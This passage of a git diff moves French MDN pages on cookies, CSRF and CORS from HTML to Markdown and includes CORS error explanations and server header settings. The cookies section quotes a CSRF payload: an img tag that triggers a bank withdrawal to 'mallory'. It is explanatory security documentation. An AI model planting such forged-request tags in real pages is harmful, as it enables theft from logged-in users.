
Cross-Site Request Forgery (CSRF)

+ +

Wikipedia mentionne un autre bon exemple d'attaque {{Glossary("CSRF")}}. Quand quelqu'un inclut une image qui n'est pas réellement une image (par exemple dans le cas d'un chat ou d'un forum), mais envoie en réalité une requête à la banque pour retirer de l'argent:

+ +
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
+ +

Maintenant, si vous étiez connecté à votre compte bancaire et que vos cookies étaient toujours valides (et qu'il n'y ait pas d'autre demande de validation), vous transféreriez de l'argent dès que vous afficheriez la page qui charge cette image. Il y a quelques techniques qu peuvent être utilisées pour limiter les risques:

+ + + +

Suivi et confidentialité

+ +

Cookies tiers

+ +

Les cookies ont un domaine qui leur est associé. Si ce domaine est le même que la page sur laquelle vous êtes, on parle de cookie interne (first-party cookie). Si le domaine est différent, on parle de cookie tiers (third-party cookie).

+ +

Alors que les cookies internes sont uniquement envoyés au serveur qui les a définis, une page web peut également contenir des images ou tout autre composant stockés sur d'autres domaines (comme des bannières publicitaires). Les cookies qui sont envoyés via les composants tiers sont appelés cookies tiers et ils sont principalement utilisés pour la publicité et le suivi sur le web. Voir par exemple les types de cookies utilisés par Google. La plupart des navigateurs autorisent les cookies tiers par défaut, mais il existe des addons disponibles pour les bloquer (par exemple, Privacy Badger par EFF).

+ +

Si vous n'avertissez pas vos utilisateurs de l'utilisation de cookies tiers, vous pouvez perdre leur confiance s'ils la découvrent. Une divulgation claire (tel que dans une politique de confidentialité) tend à éliminer les effets négatifs d'une telle découverte. Quelques pays ont également une législation sur les cookies. Voir par exemple l'article cookie statement de Wikipedia.

+ + + +

Do-Not-Track

+ +

Il n'y a pas d'obligations légales ou technologiques pour son utilisation, mais l'entête {{HTTPHeader("DNT")}} peut être utilisée pour signaler qu'une application web doit désactiver son suivi ou le suivi tiers d'un utilisateur. Voir l'entête {{HTTPHeader("DNT")}} pour plus d'informations.

+ +

Directive de l'UE sur les cookies

+ +

Les exigences relatives aux cookies dans l'Union Européenne sont définies dans la Directive 2009/136/EC du Parlement Européen entrée en vigeur le 25 mai 2011. Une directive n'est pas une loi en soi, mais une obligation pour les pays de l'Union Européenne de mettre en place des lois qui répondent aux exigences de la directive. La loi véritable peut différer d'un pays à l'autre.

+ +

Pour faire court, la directive de l'UE stipule qu'avant de pouvoir stocker ou récupérer des informations sur un ordinateur, téléphone mobile ou tout autre appareil, l'utilisateur doit donner son consentement de le faire en connaissance de cause. Beaucoup de sites web ont ajoutés des bannières depuis lors pour informer l'utilisateur sur l'utilisation des cookies.

+ +

Pour en savoir plus, voir cette section Wikipedia et consultez les lois de l'état pour avoir des informations plus récentes et plus précises.

+ +

Cookies Zombie et Evercookies

+ +

Une approche plus radicale des cookies sont les Cookies Zombies ou "Evercookies", qui sont des cookies recrées après leur suppression et intentionnellement difficiles à supprimer définitivement. Ils utilisent l'API Web storage, les Flash Local Shared Objects et d'autres techniques pour se recréer d'eux mêmes dès que l'absence du cookie est détéctée.

+ + + +

Voir aussi

+ + diff --git a/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html b/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html deleted file mode 100644 index e113a3438b..0000000000 --- a/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: >- - Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « - xyz » -slug: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin -tags: - - CORSAllowOriginNeCorrespondPas - - Dépannage - - Erreur - - Raison - - Sécurité -translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin -original_slug: Web/HTTP/CORS/Errors/CORSAllowOriginNeCorrespondPas ---- -
{{HTTPSidebar}}
- -

Symptomes

- -
Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « xyz »
- -

Quel est le problème ?

- -

En clair, l'origine de la demande ne correspond à aucune des origines autorisées par l'en-tête {{HTTPHeader("Access-Control-Allow-Origin")}}.

- -

Cette erreur peut également se produire si la réponse contient plus d'un en-tête Access-Control-Allow-Origin.

- -

Si vous contrôlez le serveur auquel votre code accède via une requête CORS, assurez-vous qu'il est configuré pour mentionner votre origine dans son entête Access-Control-Allow-Origin, avec un seul entête de ce type dans les réponses. Cet en-tête accepte une liste d'origines délimitée par des virgules, de sorte que l'ajout d'une nouvelle origine n'est pas difficile.

- -

Par exemple, dans Apache, ajoutez une ligne comme celle qui suit à la configuration du serveur (dans la section appropriée <Directory>, <Location>, <Files>, ou <VirtualHost>). La configuration se trouve généralement dans un fichier .conf (httpd.conf et apache.conf sont des noms couramment attribués à ces fichiers), ou dans un fichier .htaccess.

- -
Header set Access-Control-Allow-Origin 'origin-list'
- -

Pour Nginx, la commande pour mettre en place cet entête est :

- -
add_header 'Access-Control-Allow-Origin' 'origin-list'
- -

Voir aussi

- - diff --git a/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.md b/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.md new file mode 100644 index 0000000000..e113a3438b --- /dev/null +++ b/files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.md @@ -0,0 +1,43 @@ +--- +title: >- + Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « + xyz » +slug: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin +tags: + - CORSAllowOriginNeCorrespondPas + - Dépannage + - Erreur + - Raison + - Sécurité +translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin +original_slug: Web/HTTP/CORS/Errors/CORSAllowOriginNeCorrespondPas +--- +
{{HTTPSidebar}}
+ +

Symptomes

+ +
Raison : l’en-tête CORS « Access-Control-Allow-Origin » ne correspond pas à « xyz »
+ +

Quel est le problème ?

+ +

En clair, l'origine de la demande ne correspond à aucune des origines autorisées par l'en-tête {{HTTPHeader("Access-Control-Allow-Origin")}}.

+ +

Cette erreur peut également se produire si la réponse contient plus d'un en-tête Access-Control-Allow-Origin.

+ +

Si vous contrôlez le serveur auquel votre code accède via une requête CORS, assurez-vous qu'il est configuré pour mentionner votre origine dans son entête Access-Control-Allow-Origin, avec un seul entête de ce type dans les réponses. Cet en-tête accepte une liste d'origines délimitée par des virgules, de sorte que l'ajout d'une nouvelle origine n'est pas difficile.

+ +

Par exemple, dans Apache, ajoutez une ligne comme celle qui suit à la configuration du serveur (dans la section appropriée <Directory>, <Location>, <Files>, ou <VirtualHost>). La configuration se trouve généralement dans un fichier .conf (httpd.conf et apache.conf sont des noms couramment attribués à ces fichiers), ou dans un fichier .htaccess.

+ +
Header set Access-Control-Allow-Origin 'origin-list'
+ +

Pour Nginx, la commande pour mettre en place cet entête est :

+ +
add_header 'Access-Control-Allow-Origin' 'origin-list'
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/cors/errors/corsdidnotsucceed/index.html b/files/fr/web/http/cors/errors/corsdidnotsucceed/index.html deleted file mode 100644 index 1745ec854f..0000000000 --- a/files/fr/web/http/cors/errors/corsdidnotsucceed/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: 'Raison: la requête CORS a échoué' -slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed -tags: - - CORS - - CORSDidNotSucceed - - Cross-Origin - - Erreur - - HTTP - - HTTPS - - Messages - - Raisons - - Sécurité - - console - - troubleshooting -translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed -original_slug: Web/HTTP/CORS/Errors/CORSNAPasRéussi ---- -
{{HTTPSidebar}}
- -

Raison

- -
Raison: la requête CORS a échoué
- -

Qu'est ce qui ne s'est pas bien passé ?

- -

La requête {{Glossary("HTTP")}} qui utilise le CORS a échoué à cause de la connection HTTP qui n'a pas aboutie soit au niveau du réseau, soit du protocole. L'erreur n'est pas directement lié au CORS, mais est une quelconque erreur réseau de base.

- -

Voir aussi

- - diff --git a/files/fr/web/http/cors/errors/corsdidnotsucceed/index.md b/files/fr/web/http/cors/errors/corsdidnotsucceed/index.md new file mode 100644 index 0000000000..1745ec854f --- /dev/null +++ b/files/fr/web/http/cors/errors/corsdidnotsucceed/index.md @@ -0,0 +1,35 @@ +--- +title: 'Raison: la requête CORS a échoué' +slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed +tags: + - CORS + - CORSDidNotSucceed + - Cross-Origin + - Erreur + - HTTP + - HTTPS + - Messages + - Raisons + - Sécurité + - console + - troubleshooting +translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed +original_slug: Web/HTTP/CORS/Errors/CORSNAPasRéussi +--- +
{{HTTPSidebar}}
+ +

Raison

+ +
Raison: la requête CORS a échoué
+ +

Qu'est ce qui ne s'est pas bien passé ?

+ +

La requête {{Glossary("HTTP")}} qui utilise le CORS a échoué à cause de la connection HTTP qui n'a pas aboutie soit au niveau du réseau, soit du protocole. L'erreur n'est pas directement lié au CORS, mais est une quelconque erreur réseau de base.

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/cors/errors/corsdisabled/index.html b/files/fr/web/http/cors/errors/corsdisabled/index.html deleted file mode 100644 index f635378215..0000000000 --- a/files/fr/web/http/cors/errors/corsdisabled/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: 'Raison : CORS désactivé' -slug: Web/HTTP/CORS/Errors/CORSDisabled -tags: - - Authentication - - Authentication Article - - CORS - - Cross-Origin - - Disabled - - Errors - - HTTP - - HTTPS - - Messages - - Resource - - Same Origin - - Same-origin - - Security - - Sharing - - Validation - - secure - - troubleshooting -translation_of: Web/HTTP/CORS/Errors/CORSDisabled -original_slug: Web/HTTP/CORS/Errors/CORSDesactive ---- -
{{HTTPSidebar}}
- -

Raison

- -
Reason: CORS disabled
-(Raison : CORS désactivé)
- -

Quel est le problème ?

- -

Une requête HTTP nécessitant le CORS a été tentée, mais le CORS est désactivé sur le navigateur de l'utilisateur. Lorsque cela se produit, l'utilisateur doit réactiver CORS dans le navigateur.

- -

Pour Firefox, la préférence qui désactive le CORS est content.cors.disable. Définir cette préférence avec true désactive le CORS. Dans ce cas, les requêtes CORS échoueront toujours avec cette erreur.

- -

Voir aussi

- - diff --git a/files/fr/web/http/cors/errors/corsdisabled/index.md b/files/fr/web/http/cors/errors/corsdisabled/index.md new file mode 100644 index 0000000000..f635378215 --- /dev/null +++ b/files/fr/web/http/cors/errors/corsdisabled/index.md @@ -0,0 +1,44 @@ +--- +title: 'Raison : CORS désactivé' +slug: Web/HTTP/CORS/Errors/CORSDisabled +tags: + - Authentication + - Authentication Article + - CORS + - Cross-Origin + - Disabled + - Errors + - HTTP + - HTTPS + - Messages + - Resource + - Same Origin + - Same-origin + - Security + - Sharing + - Validation + - secure + - troubleshooting +translation_of: Web/HTTP/CORS/Errors/CORSDisabled +original_slug: Web/HTTP/CORS/Errors/CORSDesactive +--- +
{{HTTPSidebar}}
+ +

Raison

+ +
Reason: CORS disabled
+(Raison : CORS désactivé)
+ +

Quel est le problème ?

+ +

Une requête HTTP nécessitant le CORS a été tentée, mais le CORS est désactivé sur le navigateur de l'utilisateur. Lorsque cela se produit, l'utilisateur doit réactiver CORS dans le navigateur.

+ +

Pour Firefox, la préférence qui désactive le CORS est content.cors.disable. Définir cette préférence avec true désactive le CORS. Dans ce cas, les requêtes CORS échoueront toujours avec cette erreur.

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/cors/errors/corsmissingalloworigin/index.html b/files/fr/web/http/cors/errors/corsmissingalloworigin/index.html deleted file mode 100644 index e49b01ae2a..0000000000 --- a/files/fr/web/http/cors/errors/corsmissingalloworigin/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: 'Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant.' -slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin -translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin -original_slug: Web/HTTP/CORS/Errors/CORSAllowOriginManquant ---- -
{{HTTPSidebar}}
- -

Symptomes

- -
 Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant.
- -

Quel est le problème ?

- -

La réponse à la requête {{Glossary("CORS")}} ne contient pas l'en-tête requis {{HTTPHeader("Access-Control-Allow-Origin")}}, dont la fonction est de déterminer si le domaine à l'origine de la requête est autorisé à accéder à cette ressource.

- -

Si vous avez le contrôle du serveur, vous pouvez ajouter l'origine de la requête à la liste des domaines autorisés à accéder aux ressources du serveur en l'ajoutant aux valeurs de l'en-tête Access-Control-Allow-Origin.

- -

Par exemple, pour autoriser le site https://amazing.site à accéder aux resources avec CORS, le header doit être comme suit :

- -
Access-Control-Allow-Origin: https://amazing.site
- -

Vous pouvez aussi configurer le serveur pour autoriser tous les domaines à accéder aux ressources avec le caractère générique *. Ceci ne devrait être utilisé que pour des APIs publiques. Les APIs privées ne devraient jamais utiliser *, et devraient à la place utiliser un domaine ou un ensemble de domaines. De plus, l'astérisque ne fonctionne que pour les requêtes avec l'attribut {{htmlattrxref("crossorigin")}} ayant comme valeur anonymous.

- -
Access-Control-Allow-Origin: *
- -
-

Attention : Autoriser n'importe quel site à accéder à une API privée est une mauvaise idée.

-
- -

Pour autoriser n'importe quel site à faire des requêtes CORS sans utiliser le caractère générique * (par exemple, pour fournir des authentifiants), votre serveur doit lire la valeur de l'entête Origin de la requête et l'utiliser dans Access-Control-Allow-Origin, tout en ajoutant une entête Vary: Origin pour indiquer que certaines entêtes sont définies dynamiquement selon leur origine.

- -

L'instruction exacte pour définir les entêtes dépend de votre serveur Web. Par exemple, avec Apache, ajouter (dans la section <Directory>, <Location>, <Files>, ou <VirtualHost> appropriée) la ligne ci-dessous au fichier de configuration. Le fichier de configuration est en général un .conf (httpd.conf et apache.conf sont les noms les plus communs) ou un fichier nommé .htaccess.

- -
Header set Access-Control-Allow-Origin 'origin-list'
- -

Avec Nginx, la commande pour créer l'en-tête est :

- -
add_header 'Access-Control-Allow-Origin' 'origin-list'
- - - -

Voir aussi

- - diff --git a/files/fr/web/http/cors/errors/corsmissingalloworigin/index.md b/files/fr/web/http/cors/errors/corsmissingalloworigin/index.md new file mode 100644 index 0000000000..e49b01ae2a --- /dev/null +++ b/files/fr/web/http/cors/errors/corsmissingalloworigin/index.md @@ -0,0 +1,49 @@ +--- +title: 'Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant.' +slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +original_slug: Web/HTTP/CORS/Errors/CORSAllowOriginManquant +--- +
{{HTTPSidebar}}
+ +

Symptomes

+ +
 Raison : l’en-tête CORS « Access-Control-Allow-Origin » est manquant.
+ +

Quel est le problème ?

+ +

La réponse à la requête {{Glossary("CORS")}} ne contient pas l'en-tête requis {{HTTPHeader("Access-Control-Allow-Origin")}}, dont la fonction est de déterminer si le domaine à l'origine de la requête est autorisé à accéder à cette ressource.

+ +

Si vous avez le contrôle du serveur, vous pouvez ajouter l'origine de la requête à la liste des domaines autorisés à accéder aux ressources du serveur en l'ajoutant aux valeurs de l'en-tête Access-Control-Allow-Origin.

+ +

Par exemple, pour autoriser le site https://amazing.site à accéder aux resources avec CORS, le header doit être comme suit :

+ +
Access-Control-Allow-Origin: https://amazing.site
+ +

Vous pouvez aussi configurer le serveur pour autoriser tous les domaines à accéder aux ressources avec le caractère générique *. Ceci ne devrait être utilisé que pour des APIs publiques. Les APIs privées ne devraient jamais utiliser *, et devraient à la place utiliser un domaine ou un ensemble de domaines. De plus, l'astérisque ne fonctionne que pour les requêtes avec l'attribut {{htmlattrxref("crossorigin")}} ayant comme valeur anonymous.

+ +
Access-Control-Allow-Origin: *
+ +
+

Attention : Autoriser n'importe quel site à accéder à une API privée est une mauvaise idée.

+
+ +

Pour autoriser n'importe quel site à faire des requêtes CORS sans utiliser le caractère générique * (par exemple, pour fournir des authentifiants), votre serveur doit lire la valeur de l'entête Origin de la requête et l'utiliser dans Access-Control-Allow-Origin, tout en ajoutant une entête Vary: Origin pour indiquer que certaines entêtes sont définies dynamiquement selon leur origine.

+ +

L'instruction exacte pour définir les entêtes dépend de votre serveur Web. Par exemple, avec Apache, ajouter (dans la section <Directory>, <Location>, <Files>, ou <VirtualHost> appropriée) la ligne ci-dessous au fichier de configuration. Le fichier de configuration est en général un .conf (httpd.conf et apache.conf sont les noms les plus communs) ou un fichier nommé .htaccess.

+ +
Header set Access-Control-Allow-Origin 'origin-list'
+ +

Avec Nginx, la commande pour créer l'en-tête est :

+ +
add_header 'Access-Control-Allow-Origin' 'origin-list'
+ + + +

Voir aussi

+ + diff --git a/files/fr/web/http/cors/errors/corsrequestnothttp/index.html b/files/fr/web/http/cors/errors/corsrequestnothttp/index.html deleted file mode 100644 index 640ac4c7b4..0000000000 --- a/files/fr/web/http/cors/errors/corsrequestnothttp/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: 'Reason: CORS request not HTTP' -slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp -tags: - - CORS - - CORSRequestNotHttp - - Cross-Origin - - Dépannage - - Erreur - - HTTP - - HTTPS - - Messages - - Raisons - - Sécurité - - console -translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp ---- -
{{HTTPSidebar}}
- -

Raison

- -
Raison : la requête CORS n’utilise pas http.
- -

Qu'est ce qui n'a pas fonctionné ?

- -

Les requêtes {{Glossary("CORS")}} ne peuvent utiliser que les URL HTTPS, mais l'URL spécifiée par la requête est d'un type différent. Cela se produit souvent si l'URL spécifie un fichier local, en utilisant un URL de la forme file:///.

- -

Pour résoudre ce problème, assurez-vous simplement d'utiliser les URL HTTPS lorsque vous émettez des requêtes impliquant CORS , comme {{domxref("XMLHttpRequest")}}, Fetch APIs, Web Fonts (@font-face), WebGL textures, et des stylesheets XSL.

- -

Sécurité des fichiers locaux dans Firefox 68

- -

Lorsqu'un utilisateur ouvrait une page en utilisant un URI file:/// dans Firefox 67 et antérieur, l'origine de la page était définie comme le répertoire à partir duquel la page était ouverte. Les ressources du même répertoire et de ses sous-répertoires étaient traitées comme ayant la même origine aux fins de la règle de la même origine de la CORS.

- -

En réponse au CVE-2019-11730, Firefox 68 et les versions ultérieures définissent l'origine d'une page ouverte à l'aide d'un URI file:/// comme unique. Par conséquent, les autres ressources du même répertoire ou de ses sous-répertoires ne satisfont plus à la règle de la même origine de la COROS. Ce nouveau comportement est activé par défaut en utilisant la préférence privacy.file_unique_origin.

- -

Voir aussi

- - diff --git a/files/fr/web/http/cors/errors/corsrequestnothttp/index.md b/files/fr/web/http/cors/errors/corsrequestnothttp/index.md new file mode 100644 index 0000000000..640ac4c7b4 --- /dev/null +++ b/files/fr/web/http/cors/errors/corsrequestnothttp/index.md @@ -0,0 +1,43 @@ +--- +title: 'Reason: CORS request not HTTP' +slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp +tags: + - CORS + - CORSRequestNotHttp + - Cross-Origin + - Dépannage + - Erreur + - HTTP + - HTTPS + - Messages + - Raisons + - Sécurité + - console +translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp +--- +
{{HTTPSidebar}}
+ +

Raison

+ +
Raison : la requête CORS n’utilise pas http.
+ +

Qu'est ce qui n'a pas fonctionné ?

+ +

Les requêtes {{Glossary("CORS")}} ne peuvent utiliser que les URL HTTPS, mais l'URL spécifiée par la requête est d'un type différent. Cela se produit souvent si l'URL spécifie un fichier local, en utilisant un URL de la forme file:///.

+ +

Pour résoudre ce problème, assurez-vous simplement d'utiliser les URL HTTPS lorsque vous émettez des requêtes impliquant CORS , comme {{domxref("XMLHttpRequest")}}, Fetch APIs, Web Fonts (@font-face), WebGL textures, et des stylesheets XSL.

+ +

Sécurité des fichiers locaux dans Firefox 68

+ +

Lorsqu'un utilisateur ouvrait une page en utilisant un URI file:/// dans Firefox 67 et antérieur, l'origine de la page était définie comme le répertoire à partir duquel la page était ouverte. Les ressources du même répertoire et de ses sous-répertoires étaient traitées comme ayant la même origine aux fins de la règle de la même origine de la CORS.

+ +

En réponse au CVE-2019-11730, Firefox 68 et les versions ultérieures définissent l'origine d'une page ouverte à l'aide d'un URI file:/// comme unique. Par conséquent, les autres ressources du même répertoire ou de ses sous-répertoires ne satisfont plus à la règle de la même origine de la COROS. Ce nouveau comportement est activé par défaut en utilisant la préférence privacy.file_unique_origin.

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/cors/errors/index.html b/files/fr/web/http/cors/errors/index.html deleted file mode 100644 index 17fa5f8e9b..0000000000 --- a/files/fr/web/http/cors/errors/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: CORS errors -slug: Web/HTTP/CORS/Errors -tags: - - CORS - - Errors - - HTTP - - HTTPS - - Messages - - Same-origin - - Security - - TopicStub - - console - - troubleshooting -translation_of: Web/HTTP/CORS/Errors ---- -
{{HTTPSidebar}}
- -

Cross-Origin Resource Sharing ({{Glossary("CORS")}}) est une norme qui permet à un serveur d'assouplir la politique de même origine.

- -

Celle-ci est utilisée pour autoriser explicitement certaines requêtes provenant d'autres sources tout en en rejetant d'autres. Par exemple, si un site offre un service intégrable, il peut être nécessaire d'assouplir certaines restrictions. La configuration d'une telle configuration CORS n'est pas nécessairement facile et peut présenter certains défis. Dans ces pages, nous examinerons quelques messages d'erreur CORS courants et comment les résoudre.

- - - -

Si la configuration CORS n'est pas correctement effectuée, la console du navigateur affichera une erreur du type "Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite" ("Requête Cross-Origin bloquée : La politique de même origine interdit la lecture de la ressource distante à $somesite" en français) indiquant que la demande a été bloquée en raison d'une violation des règles de sécurité de CORS. Cependant, ce n'est pas nécessairement une erreur de configuration. Il est possible que la demande soit en fait intentionnellement refusée par l'application web de l'utilisateur et le service externe distant. Toutefois, si le terminal est destiné à être disponible, un certain débogage est nécessaire pour y parvenir.

- -

Identifier le problème

- -

Pour saisir la cause de l'erreur, il faut préalablement découvrir la requête fautive, ainsi que la configuration erronée. Ces étapes peuvent être utiles au processus:

- -
    -
  1. Rendez-vous sur le site défaillant et ouvrez les Developer Tools.
    2. -
  2. Essayez de reproduir la requête qui échoue et vérifiez la console pour trouver les messages de violation CORS, ce qui tournerait autours de:
    3. -
- -

Firefox console showing CORS error

- -

Le text de l'erreur sera probablement similaire à:

- -
Cross-Origin Request Blocked: The Same Origin Policy disallows
-reading the remote resource at https://some-url-here. (Reason:
-additional information here).
- -
-

Note : Pour des raisons de sécurité, il est impossible d'analyser les causes de l'erreur CORS via JavaScript. Seule une indication de l'échec de la requête sera fournie. Il faut donc absolument regarder manuellement les messages d'erreur de la console pour débugger.

-
- -

Messages d'erreur CORS

- -

Firefox affiche les erreurs dans la console lors d'échec de requête CORS. Ce message contient entre autres un champ "reason" donnant un meilleur contexte quant à la raison de l'échec de la requête. Ces messages sont listés ci-dessous; chacun de ces liens pointent vers un article plus spécifique et contenant des pistes de solution.

- - - -

Voir aussi

- - diff --git a/files/fr/web/http/cors/errors/index.md b/files/fr/web/http/cors/errors/index.md new file mode 100644 index 0000000000..17fa5f8e9b --- /dev/null +++ b/files/fr/web/http/cors/errors/index.md @@ -0,0 +1,79 @@ +--- +title: CORS errors +slug: Web/HTTP/CORS/Errors +tags: + - CORS + - Errors + - HTTP + - HTTPS + - Messages + - Same-origin + - Security + - TopicStub + - console + - troubleshooting +translation_of: Web/HTTP/CORS/Errors +--- +
{{HTTPSidebar}}
+ +

Cross-Origin Resource Sharing ({{Glossary("CORS")}}) est une norme qui permet à un serveur d'assouplir la politique de même origine.

+ +

Celle-ci est utilisée pour autoriser explicitement certaines requêtes provenant d'autres sources tout en en rejetant d'autres. Par exemple, si un site offre un service intégrable, il peut être nécessaire d'assouplir certaines restrictions. La configuration d'une telle configuration CORS n'est pas nécessairement facile et peut présenter certains défis. Dans ces pages, nous examinerons quelques messages d'erreur CORS courants et comment les résoudre.

+ + + +

Si la configuration CORS n'est pas correctement effectuée, la console du navigateur affichera une erreur du type "Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite" ("Requête Cross-Origin bloquée : La politique de même origine interdit la lecture de la ressource distante à $somesite" en français) indiquant que la demande a été bloquée en raison d'une violation des règles de sécurité de CORS. Cependant, ce n'est pas nécessairement une erreur de configuration. Il est possible que la demande soit en fait intentionnellement refusée par l'application web de l'utilisateur et le service externe distant. Toutefois, si le terminal est destiné à être disponible, un certain débogage est nécessaire pour y parvenir.

+ +

Identifier le problème

+ +

Pour saisir la cause de l'erreur, il faut préalablement découvrir la requête fautive, ainsi que la configuration erronée. Ces étapes peuvent être utiles au processus:

+ +
    +
  1. Rendez-vous sur le site défaillant et ouvrez les Developer Tools.
    2. +
  2. Essayez de reproduir la requête qui échoue et vérifiez la console pour trouver les messages de violation CORS, ce qui tournerait autours de:
    3. +
+ +

Firefox console showing CORS error

+ +

Le text de l'erreur sera probablement similaire à:

+ +
Cross-Origin Request Blocked: The Same Origin Policy disallows
+reading the remote resource at https://some-url-here. (Reason:
+additional information here).
+ +
+

Note : Pour des raisons de sécurité, il est impossible d'analyser les causes de l'erreur CORS via JavaScript. Seule une indication de l'échec de la requête sera fournie. Il faut donc absolument regarder manuellement les messages d'erreur de la console pour débugger.

+
+ +

Messages d'erreur CORS

+ +

Firefox affiche les erreurs dans la console lors d'échec de requête CORS. Ce message contient entre autres un champ "reason" donnant un meilleur contexte quant à la raison de l'échec de la requête. Ces messages sont listés ci-dessous; chacun de ces liens pointent vers un article plus spécifique et contenant des pistes de solution.

+ + + +

Voir aussi

+ + diff --git a/files/fr/web/http/cors/index.html b/files/fr/web/http/cors/index.html deleted file mode 100644 index 24d38600ac..0000000000 --- a/files/fr/web/http/cors/index.html +++ /dev/null @@ -1,554 +0,0 @@ ---- -title: Cross-origin resource sharing (CORS) -slug: Web/HTTP/CORS -tags: - - AJAX - - CORS - - HTTP - - Same-origin policy - - XMLHttpRequest - - cross-site -translation_of: Web/HTTP/CORS ---- -
{{HTTPSidebar}}
- -

Le «  Cross-origin resource sharing » (CORS) ou « partage des ressources entre origines multiples » (en français, moins usité) est un mécanisme qui consiste à ajouter des en-têtes HTTP afin de permettre à un agent utilisateur d'accéder à des ressources d'un serveur situé sur une autre origine que le site courant. Un agent utilisateur réalise une requête HTTP multi-origine (cross-origin) lorsqu'il demande une ressource provenant d'un domaine, d'un protocole ou d'un port différent de ceux utilisés pour la page courante.

- -

Prenons un exemple de requête multi-origine : une page HTML est servie depuis http://domaine-a.com contient un élément <img> src ciblant http://domaine-b.com/image.jpg. Aujourd'hui, de nombreuses pages web chargent leurs ressources (feuilles CSS, images, scripts) à partir de domaines séparés (par exemple des CDN (Content Delivery Network en anglais ou « Réseau de diffusion de contenu »).

- -

Pour des raisons de sécurité, les requêtes HTTP multi-origine émises depuis les scripts sont restreintes. Ainsi, {{domxref("XMLHttpRequest")}} et l'API Fetch respectent la règle d'origine unique. Cela signifie qu'une application web qui utilise ces API peut uniquement émettre des requêtes vers la même origine que celle à partir de laquelle l'application a été chargée, sauf si des en-têtes CORS sont utilisés.

- -

- -

Le CORS permet de prendre en charge des requêtes multi-origines sécurisées et des transferts de données entre des navigateurs et des serveurs web. Les navigateurs récents utilisent le CORS dans une API contenante comme {{domxref("XMLHttpRequest")}} ou Fetch pour aider à réduire les risques de requêtes HTTP multi-origines.

- -

À qui est destiné cet article ?

- -

Cet article est destiné à toutes et à tous.

- -

Il pourra notamment servir aux administrateurs web, aux développeurs côté serveur ainsi qu'aux développeurs côté client. Les navigateurs récents permettent de gérer les règles de partage multi-origine côté client grâce à certaines règles et en-têtes mais cela implique également que des serveurs puissent gérer ces requêtes et réponses. Aussi, pour compléter le spectre concerné, nous vous invitons à lire d'autres articles complétant le point de vue « serveur » (par exemple cet article utilisant des fragments de code PHP).

- -

Quelles requêtes utilisent le CORS ?

- -

Le standard CORS est utilisé afin de permettre les requêtes multi-origines pour :

- - - -

Cet article propose un aperçu général de Cross-Origin Resource Sharing ainsi qu'un aperçu des en-têtes HTTP nécessaires.

- -

Aperçu fonctionnel

- -

Le standard CORS fonctionne grâce à l'ajout de nouveaux en-têtes HTTP qui permettent aux serveurs de décrire un ensemble d'origines autorisées pour lire l'information depuis un navigateur web. De plus, pour les méthodes de requêtes HTTP qui entraînent des effets de bord sur les données côté serveur (notamment pour les méthodes en dehors de {{HTTPMethod("GET")}} ou pour les méthodes {{HTTPMethod("POST")}} utilisées avec certains types MIME), la spécification indique que les navigateurs doivent effectuer une requête préliminaire (« preflight request ») et demander au serveur les méthodes prises en charges via une requête utilisant la méthode {{HTTPMethod("OPTIONS")}} puis, après approbation du serveur, envoyer la vraie requête. Les serveurs peuvent également indiquer aux clients s'il est nécessaire de fournir des informations d'authentification (que ce soit des cookies ou des données d'authentification HTTP) avec les requêtes.

- -

Les sections qui suivent évoquent les différents scénarios relatifs au CORS ainsi qu'un aperçu des en-têtes HTTP utilisés.

- -

Exemples de scénarios pour le contrôle d'accès

- -

Voyons ici trois scénarios qui illustrent le fonctionnement du CORS. Tous ces exemples utilisent l'objet {{domxref("XMLHttpRequest")}} qui peut être utilisé afin de faire des requêtes entre différents sites (dans les navigateurs qui prennent en charge cette fonctionnalité).

- -

Les fragments de code JavaScript (ainsi que les instances serveurs qui gèrent ces requêtes) se trouvent sur http://arunranga.com/examples/access-control/ et fonctionnent pour les navigateurs qui prennent en charge {{domxref("XMLHttpRequest")}} dans un contexte multi-site.

- -

Un aperçu « côté serveur » des fonctionnalités CORS se trouve dans l'article Contrôle d'accès côté serveur.

- -

Requêtes simples

- -

